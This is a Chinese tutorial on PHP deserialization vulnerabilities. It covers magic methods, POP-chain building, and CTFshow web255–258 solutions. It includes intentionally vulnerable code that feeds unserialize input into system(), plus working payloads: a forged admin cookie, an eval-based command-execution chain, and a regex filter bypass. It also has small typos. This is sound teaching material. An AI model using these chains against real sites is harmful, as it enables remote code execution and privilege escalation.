序列化与反序列化
基本概念

序列化:对象转换为数组或字符串等格式
反序列化:将数组或字符串等格式转换成对象
为什么使用
解决数据传输的完整性和可移植性
php序列化和反序列化操作:
serialize() 将对象转换成一个字符串 –> 序列化
unserialize() 将字符串还原成一个对象 –> 反序列化
常见格式
PHP 序列化后的数据格式,用于将 PHP 对象或数据结构转换为可存储或传输的字符串形式
O:6:"Person":3:{s:4:"name";s:7:"Anemone";s:3:"sex";s:3:"man";s:3:"age";i:19;}

O:6:"Person":3:{...}表示一个对象(O),类名为Person(长度 6),包含 3 个属性- 内部的键值对分别是:
s:4:"name";s:7:"Anemone"→ 字符串属性name,值为Anemone(长度 7)s:3:"sex";s:3:"man"→ 字符串属性sex,值为mans:3:"age";i:19→ 整数属性age,值为 19
<?php
header("Content-type: text/html; charset=utf-8");
class user{
public $name='Anemone';
public $sex='man';
public $age=19;
}
$demo=new user();
$s=serialize($demo);//序列化
echo $s;
$u=unserialize($s);//反序列化
var_dump($u);

对序列化数据进行还原(反序列化)
<?php
$test='O:4:"user":3:{s:4:"name";s:6:"Anemone";s:3:"sex";s:3:"man";s:3:"age";i:19;}';
$data=unserialize($test);
var_dump($data);

常见PHP魔术方法

__construct() 和 __destruct()
__construct(构造方法)
作用:当使用new关键字创建类的实例(对象)时,会自动调用该方法,主要用于对象的初始化操作
对象出生时自动调用,负责 “初始化”(准备资源)
__destruct(析构方法)
作用:当对象被销毁(不再被使用)时,会自动调用该方法,主要用于清理资源。
对象死亡时自动调用,负责 “清理”(释放资源)
对象销毁–自动销毁
程序结束,代码执行最后一行完成才会调用__destruct()
<?php
header("Content-type: text/html; charset=utf-8");
//__construct __destruct 魔术方法 创建调用__construct 2种销毁调用__destruct
class Test{
public $name;
public $age;
public $sex;
// __construct:实例化对象时被调用.其作用是拿来初始化一些值。
public function __construct(){
echo "__construct 初始化魔术方法 被执行"."<br>";
}
// __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
/*
* 当对象销毁时会调用此方法
* 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
*/
function __destruct(){
echo "__destruct 类魔术方法执行完毕"."<br>";
}
}
$test = new Test();
//主动销毁
//unset($test);
echo '第一种执行完毕'.'<br>';
echo '----------------------<br>';

对象销毁–主动销毁
哪里插入马上调用
unset($test);

<?php
header("Content-type: text/html; charset=utf-8");
//__construct __destruct 魔术方法 创建调用__construct 2种销毁调用__destruct
class Test{
public $name;
public $age;
public $sex;
// __construct:实例化对象时被调用.其作用是拿来初始化一些值。
public function __construct(){
echo "__construct 初始化魔术方法 被执行"."<br>";
}
// __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
/*
* 当对象销毁时会调用此方法
* 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
*/
function __destruct(){
echo "__destruct 类魔术方法执行完毕"."<br>";
}
}
$test = new Test();
//主动销毁
unset($test);
echo '第一种执行完毕'.'<br>';
echo '----------------------<br>';
//
////程序结束自动销毁
$test = new test("xiaodi",31, 'Test String');
echo '第二种执行完毕'.'<br>';

当对象的所有引用都被移除时,对象会立即被销毁
<?php
header("Content-type: text/html; charset=utf-8");
//__construct __destruct 魔术方法 创建调用__construct 2种销毁调用__destruct
class Test{
public $name;
public $age;
public $sex;
// __construct:实例化对象时被调用.其作用是拿来初始化一些值。
public function __construct(){
echo "__construct 初始化魔术方法 被执行"."<br>";
}
// __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
/*
* 当对象销毁时会调用此方法
* 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
*/
function __destruct(){
echo "__destruct 类魔术方法执行完毕"."<br>";
}
}
$test = new Test();
//主动销毁
//unset($test);
echo '第一种执行完毕'.'<br>';
echo '----------------------<br>';
//
////程序结束自动销毁
$test = new test("xiaodi",31, 'Test String');
echo '第二种执行完毕'.'<br>';

__sleep()
使用serialize()序列化时会被自动调用__sleep()
//__sleep():serialize之前被调用,可以指定要序列化的对象属性。
class Test{
public $name;
public $age;
public $string;
// __construct:实例化对象时被调用.其作用是拿来初始化一些值。
public function __construct($name, $age, $string){
echo "__construct 初始化"."<br>";
$this->name = $name;
$this->age = $age;
$this->string = $string;
}
// __sleep() :serialize之前被调用,可以指定要序列化的对象属性
public function __sleep(){
echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>";
// 例如指定只需要 name 和 age 进行序列化,必须返回一个数值
return array('name', 'age','string');
}
}
$a = new Test("xiaodi",31, 'good teacher');
echo serialize($a);

__wakeup()
使用unserialize() 反序列化时会被自动调用__wakeup()
_wakeup()与_sleep()相反
进行反序列化时则必须先序列化,然后触发_sleep()和_wakeup()
//__wakeup:反序列化恢复对象之前调用该方法
class Test{
public $sex;
public $name;
public $age;
public function __construct($name, $age, $sex){
echo "__construct被调用!<br>";
}
// __sleep() :serialize之前被调用,可以指定要序列化的对象属性
public function __sleep(){
echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>";
// 例如指定只需要 name 和 age 进行序列化,必须返回一个数值
return array('name', 'age','string');
}
public function __wakeup(){
echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>";
}
}
$person = new Test('xiaodi',31,'男');
$a = serialize($person);
unserialize($a);

__invoke()
当尝试以调用函数的方法调用一个对象时会自动调用__invoke()
//__INVOKE():将对象当做函数来使用时执行此方法,通常不推荐这样做。
class Test{
// _invoke():以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
public function __invoke($param1, $param2, $param3)
{
echo "这是一个对象<br>";
var_dump($param1,$param2,$param3);
}
}
$a = new Test();
//将对象当做函数调用 触发__invoke魔术方法
$a('xiaodi', 31, '男');

__toString()
把类当作字符串使用时触发__toString()
//__toString():如果一个对象类中存在__toString魔术方法,这个对象类被当做字符串进行处理时,就会触发__toString魔术方法
class Test
{
public $variable = 'good is string';
public function good(){
echo $this->variable . '<br />';
}
// 在对象当做字符串的时候会被调用
public function __toString(){
return '__toString魔术方法被执行!';
}
}
$a = new Test();
//输出调用
echo $a;

__call()
调用某个方法;若不存在,则会去调用__call()
类似于预前处理
//__CALL 魔术方法 调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。
class Test{
public function good($number,$string){
echo '存在good方法'.'<br>';
echo $number.'---------'.$string.'<br>';
}
// 当调用类中不存在的方法时,就会调用__call();
public function __call($method,$args){
echo '不存在'.$method.'方法'.'<br>';
var_dump($args);
}
}
$a = new Test();
$a->good(1,'xiaodisec');
//不存在xiaodi方法 触发__call魔术方法
$b = new Test();
$b->xiaodi(899,'no');

__get()
读取对象属性时,若不存在,则会调用__get()
与__call()相似
//__get() 魔术方法 读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用__get函数
class Test {
public $n='xiaodisec';
// public $xiaodi='gay';
// __get():访问不存在的成员变量时调用
public function __get($name){
echo '__get 不存在成员变量'.$name.'<br>';
}
}
$a = new Test();
// 存在成员变量n,所以不调用__get
echo $a->n;
echo '<br>';
// 不存在成员变量xiaodi,所以调用__get
echo $a->xiaodi;

__set()
设置对象的属性时,若不存在,则调用__set()
//__set()魔术方法 设置一个对象的属性时, 若属性存在,则直接赋值;若不存在,则会调用__set函数。
class Test{
public $noway=0;
// __set():设置对象不存在的属性或无法访问(私有)的属性时调用
/* __set($name, $value)
* 用来为私有成员属性设置的值
* 第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值,没有返回值。
* */
public function __set($name,$value){
echo '__set 不存在成员变量 '.$name.'<br>';
echo '即将设置的值 '.$value."<br>";
$this->noway=$value;
}
public function Get(){
echo $this->noway;
}
}
$a = new Test();
// 访问noway属性时调用,并设置值为123,类里默认设置为0
$a->noway = 123;
// 经过Get()方法的设置noway的值为123
$a->Get();
echo '<br>';
// 设置对象不存在的属性xiaodi
$a->xiaodi = 31;
// 经过__set方法的设置xiaodi的值为31
$a->Get();

__isset()
在不可访问的属性上调用isset()或empty()触发
两个条件(缺一不可):
- 属性为非公共(
非public) - 调用isset()或empty()
//__isset(): 检测对象的某个属性是否存在时执行此函数。当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用
class Person{
public $sex; //公共的
private $name; //私有的
private $age; //私有的
public function __construct($name, $age, $sex){
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
// __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
public function __isset($content){
//echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用<br>";
echo "__isset被执行了","<br>";
return isset($this->$content);
}
}
$person = new Person("xiaodi", 31,'男');
// public 成员
echo ($person->sex),"<br>";
//private 成员
//isset($person->name);
empty($person->name);

__unset()
在不可访问的属性上使用unset()时触发
与__isset()一致
两个条件(缺一不可):
- 属性为非公共(
非public) - 调用unset()
//__unset():在不可访问的属性上使用unset()时触发 销毁对象的某个属性时执行此函数
class Person{
public $sex;
private $name;
private $age;
public function __construct($name, $age, $sex){
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
// __unset():销毁对象的某个属性时执行此函数
public function __unset($content) {
echo "当在类外部使用unset()函数来删除私有成员 {$content} 时自动调用的<br>";
//echo isset($this->$content)."<br>";
}
}
$person = new Person("xiaodi", 31,"男"); // 初始赋值
unset($person->sex);//不调用 属性共有
unset($person->name);//调用 属性私有 触发__unset
unset($person->age);//调用 属性私有 触发__unset

其他
- __set_state(),调用var_export()导出类时,此静态方法会被调用,如
public static - __clone(),当对象复制完成时调用
- __autoload(),尝试加载未定义的类
- __debugInfo(),打印所需调试信息
起点、调板、终点

关注哪些方法经常被调用或一定被调用
如:使用unserialize() 反序列化时一定会自动调用__wakeup()
程序执行完后必定执行__wakeup()
漏洞产生原理
原理
未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历,rce等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
<?php
class B{
public $cmd='';
public function __destruct()
{
system($this->cmd);
}
}
//函数引用,无对象创建触发魔术方法
unserialize($_GET['x']);
漏洞成因:
- 可控变量
- 反序列化操作
- 魔术方法调用
漏洞利用 – POP链构造
pop链构造
POP:面向属性编程(Property-Oriented Programing)常用于上层语言构造特定调用链的方法,序列化攻击都在PHP魔术方法中出现可利用的漏洞,因自动调用触发漏洞,但如关键代码没在魔术方法中,而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。
rce衍生
?x=O:1:"B":1:{s:3:"cmd";s:4:"cacl";}

pop链构造:
知道反序列化源码,可以修改为序列化,去除不需要的:
<?php
class B
{
public $cmd = 'calc';
}
$x = new B();
echo serialize($x);

重点
- 某个魔术方法里存在危险操作,如命令执行
- 找到这个魔术方法,并且知道如何触发它
- 将魔术方法里的变量尝试改动,完成链,触发魔术方法,触发危险类,触发可控变量
反序列化触发什么漏洞,由危险方法、危险函数、危险代码确定
如:危险类system()就触发rce,文件上传就触发文件上传
漏洞发现
黑盒
黑盒中挖掘几率非常低,即使发现存在反序列化漏洞,pop链也非常难以构造:不知道类名、参数加密等
黑盒要弄懂数据包中的加密编码逻辑,找到与反序列化相关的参数值,尝试修改其中的值
反序列化造成越权访问




最后删除用户时,记得抓取删除包,然后同样方式修改cookie值
反序列化造成越权访问-参数未知
将Token更改为整数 0,并且将username改为administrator

O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
然后编码后以同样的方式发送,即可造成越权
反序列化造成任意文件删除漏洞
登录后,用户有个删除账户功能,通过解码

白盒-CTFSHOW-训练链构造
改动和删除没改不需要的
ctfshow-web255
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
首先代码中最先看到的是unserialize()函数 –> 反序列化题型 –> 寻找常见魔术方法 –>分析代码逻辑 –> 寻找flag在哪出现,如何触发
(1)代码逻辑分析
定义类
定义了ctfShowUser类,包含三个公共属性和三个方法:
- 属性:
username(用户名)、password(密码)、isVip(是否为 VIP,默认false) - 方法:
checkVip():返回isVip属性的值(判断是否为 VIP)login($u,$p):验证传入的$u和$p是否与对象的username和password完全一致vipOneKeyGetFlag():若isVip为true,则输出 flag,否则提示无权限
核心流程:
- 从 GET 参数获取
username和password - 从 Cookie 的
user字段读取数据并反序列化为$user对象(反序列化入口) - 验证
$user->login($username,$password)是否为true(用户名密码匹配) - 若登录成功,再验证
$user->checkVip()是否为true(是否为 VIP) - 若均满足,则执行
vipOneKeyGetFlag()输出 flag
(2)漏洞点分析
漏洞的核心在于反序列化可控: 代码中通过unserialize($_COOKIE['user'])反序列化用户可控的 Cookie 数据(user字段),且未对反序列化的数据做任何过滤或验证。这意味着攻击者可以构造恶意的序列化字符串,控制反序列化后生成的ctfShowUser对象的属性值。
(3)漏洞利用思路
要获取 flag,需满足两个条件:
$user->login($username,$password)返回true(用户名密码相等)$user->checkVip()返回true(isVip为true)
(4)poc构造
删除不需要的,序列化后需要进行url编码
<?php
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=true ;
}
echo urlencode(serialize(new ctfShowUser()));
然后通过数据包中的Cookie的user值发送
Cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
然后还需要通过get方式传入username=xxxxxx&password=xxxxxx

ctfshow-web256
与255关一致,无非就是需要username和password值不相等
关键代码
if($this->username!==$this->password){
poc重新构造下username和password值,使其不相等。并且在get传参时也是如此

ctfshow-web257
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
第一眼,看见unserialize并且backDoor类里有危险函数eval –>代码执行
并且存在魔术方法__construct和__destruct
调用$user->login($username,$password)验证用户名密码(无论验证结果如何,对象销毁时都会触发析构函数)
__construct在对象构建时执行,但这里info()无任何作用,将其修改为包含eval函数的backDoor()以便触发
然后将私有属性privite $code改为公有属性public $code = 'system(tac flag.php)';转换为命令执行
没有改动的地方不需要就删掉
<?php
class ctfShowUser{
private $class = 'backDoor';
public function __construct(){
$this->class = new backDoor();
}
}
class backDoor{
public $code = 'system("tac flag.php");';
}
echo urlencode(serialize(new ctfShowUser()));
然后get随便传username和password值,在cookie中用user传入以上输出内容
ctfshow-web258
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
257关升级版,加入了正则匹配函数preg_match(),注意privite都改为了public
'/[oc]:\d+:/i'
[oc]:匹配字母o或c(小写)::匹配冒号:\d+:匹配一个或多个数字- 第二个
::再次匹配冒号: i:修饰符,表示不区分大小写
序列化后的数据:
O:11:"ctfShowUser":1:{s:18:" ctfShowUser class";O:8:"backDoor":1:{s:4:"code";s:23:"system("tac flag.php");";}}
观察到O:11和O:8被正则过滤了
可以将:11改为:+11,:8改为:+8
<?php
class ctfShowUser{
public $class = 'backDoor';
public function __construct(){
$this->class = new backDoor();
}
}
class backDoor{
public $code = 'system("tac flag.php");';
}
$a = serialize(new ctfShowUser());
$b = str_replace(':11', ':+11', $a);
$c = str_replace(':8', ':+8', $b);
echo urlencode($c);
本节知识点
WEB攻防-PHP反序列化-魔术方法&触发规则
WEB攻防-PHP反序列化-POP链构造&黑白盒
